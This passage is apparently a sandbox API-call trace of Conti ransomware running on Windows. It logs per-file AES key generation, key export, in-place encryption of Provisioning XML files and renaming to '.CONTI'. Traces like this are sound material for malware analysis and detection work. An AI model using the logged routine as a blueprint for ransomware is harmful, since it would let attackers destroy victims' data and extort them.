	[0106.565] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c5588*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5588*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.565] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.565] CloseHandle (hObject=0x3a8) returned 1
	[0106.565] GetProcessHeap () returned 0x1720000
	[0106.565] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.565] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml"
	[0106.565] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.CONTI"
	[0106.565] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\masterdatastore.xml.conti")) returned 1
	[0106.566] GetProcessHeap () returned 0x1720000
	[0106.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.566] CryptDestroyKey (hKey=0x17c84f0) returned 1
	[0106.566] GetProcessHeap () returned 0x1720000
	[0106.566] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0106.566] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.566] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c4598 | out: phKey=0x17c4598*=0x17c85f0) returned 1
	[0106.566] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c459c, pdwDataLen=0x3cffb14 | out: pbData=0x17c459c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.567] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0106.567] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.567] GetLastError () returned 0x0
	[0106.567] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=539) returned 1
	[0106.567] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x21b
	[0106.567] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x229, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.567] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.568] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.568] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.568] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c459c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c459c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.570] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.570] ReadFile (in: hFile=0x3a8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x21b, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x21b, lpOverlapped=0x0) returned 1
	[0106.570] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x21b, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x220) returned 1
	[0106.570] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.570] WriteFile (in: hFile=0x3a8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x220, lpOverlapped=0x0) returned 1
	[0106.570] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.570] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c4590*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c4590*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.570] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.570] CloseHandle (hObject=0x3a8) returned 1
	[0106.570] GetProcessHeap () returned 0x1720000
	[0106.570] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.570] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml"
	[0106.570] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI"
	[0106.570] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime\\0__power_energyestimationengine.provxml.conti")) returned 1
	[0106.571] GetProcessHeap () returned 0x1720000
	[0106.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.571] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0106.571] GetProcessHeap () returned 0x1720000
	[0106.571] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181e028 | out: hHeap=0x1720000) returned 1
	[0106.571] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.571] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c85f0) returned 1
	[0106.571] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x3cffb14 | out: pbData=0x17c5c6c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.572] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml")) returned 0x20
	[0106.572] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8
	[0106.572] GetLastError () returned 0x0
	[0106.572] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=258) returned 1
	[0106.572] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x102
	[0106.572] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x232, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.572] SetEndOfFile (hFile=0x3a8) returned 1
	[0106.573] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.573] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.573] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.575] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.575] ReadFile (in: hFile=0x3a8, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x102, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x102, lpOverlapped=0x0) returned 1
	[0106.575] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x102, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x110) returned 1
	[0106.575] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.575] WriteFile (in: hFile=0x3a8, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x110, lpOverlapped=0x0) returned 1
	[0106.575] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.575] WriteFile (in: hFile=0x3a8, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.575] SetFilePointer (in: hFile=0x3a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.575] CloseHandle (hObject=0x3a8) returned 1
	[0106.575] GetProcessHeap () returned 0x1720000
	[0106.575] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.575] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml"
	[0106.575] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.CONTI"
	[0106.575] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\Prov\\RunTime.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{8fb7d64e-70fc-4f9d-89ee-d486817534df}\\prov\\runtime.xml.conti")) returned 1
	[0106.576] GetProcessHeap () returned 0x1720000
	[0106.576] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.576] CryptDestroyKey (hKey=0x17c85f0) returned 1
	[0106.576] GetProcessHeap () returned 0x1720000
	[0106.576] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510e88 | out: hHeap=0x1720000) returned 1
	[0106.576] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.581] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c47e0 | out: phKey=0x17c47e0*=0x17c7ff0) returned 1
	[0106.581] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c47e4, pdwDataLen=0x3cffb14 | out: pbData=0x17c47e4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.582] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml")) returned 0x20
	[0106.584] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.584] GetLastError () returned 0x0
	[0106.584] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=271) returned 1
	[0106.584] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.584] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.584] SetEndOfFile (hFile=0x3a0) returned 1
	[0106.587] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.587] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.587] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c47e4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c47e4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.593] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.593] ReadFile (in: hFile=0x3a0, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x10f, lpOverlapped=0x0) returned 1
	[0106.593] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x10f, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x110) returned 1
	[0106.593] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.593] WriteFile (in: hFile=0x3a0, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x110, lpOverlapped=0x0) returned 1
	[0106.593] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.594] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c47d8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c47d8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.594] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.594] CloseHandle (hObject=0x3a0) returned 1
	[0106.594] GetProcessHeap () returned 0x1720000
	[0106.594] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17d6408
	[0106.594] lstrcpyW (in: lpString1=0x17d6408, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml"
	[0106.594] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.CONTI"
	[0106.594] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\masterdatastore.xml.conti")) returned 1
	[0106.595] GetProcessHeap () returned 0x1720000
	[0106.595] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d6408 | out: hHeap=0x1720000) returned 1
	[0106.595] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0106.595] GetProcessHeap () returned 0x1720000
	[0106.595] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181d648 | out: hHeap=0x1720000) returned 1
	[0106.595] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0106.595] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x17c5c68 | out: phKey=0x17c5c68*=0x17c85f0) returned 1
	[0106.595] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x17c5c6c, pdwDataLen=0x3cffb14 | out: pbData=0x17c5c6c*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0106.596] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml")) returned 0x20
	[0106.596] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\Prov\\RunTime\\0__Power_EnergyEstimationEngine.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{99b095d8-5959-4820-bea7-7448c8427b4e}\\prov\\runtime\\0__power_energyestimationengine.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0
	[0106.596] GetLastError () returned 0x0
	[0106.596] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=1648) returned 1
	[0106.596] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x670
	[0106.596] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.596] SetEndOfFile (hFile=0x3a0) returned 1
	[0106.596] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.597] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.597] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c5c6c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x17c5c6c*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0106.603] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.603] ReadFile (in: hFile=0x3a0, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x670, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x670, lpOverlapped=0x0) returned 1
	[0106.603] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x670, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x680) returned 1
	[0106.603] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.603] WriteFile (in: hFile=0x3a0, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x680, lpOverlapped=0x0) returned 1
	[0106.603] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.603] WriteFile (in: hFile=0x3a0, lpBuffer=0x17c5c60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x17c5c60*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0106.603] SetFilePointer (in: hFile=0x3a0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
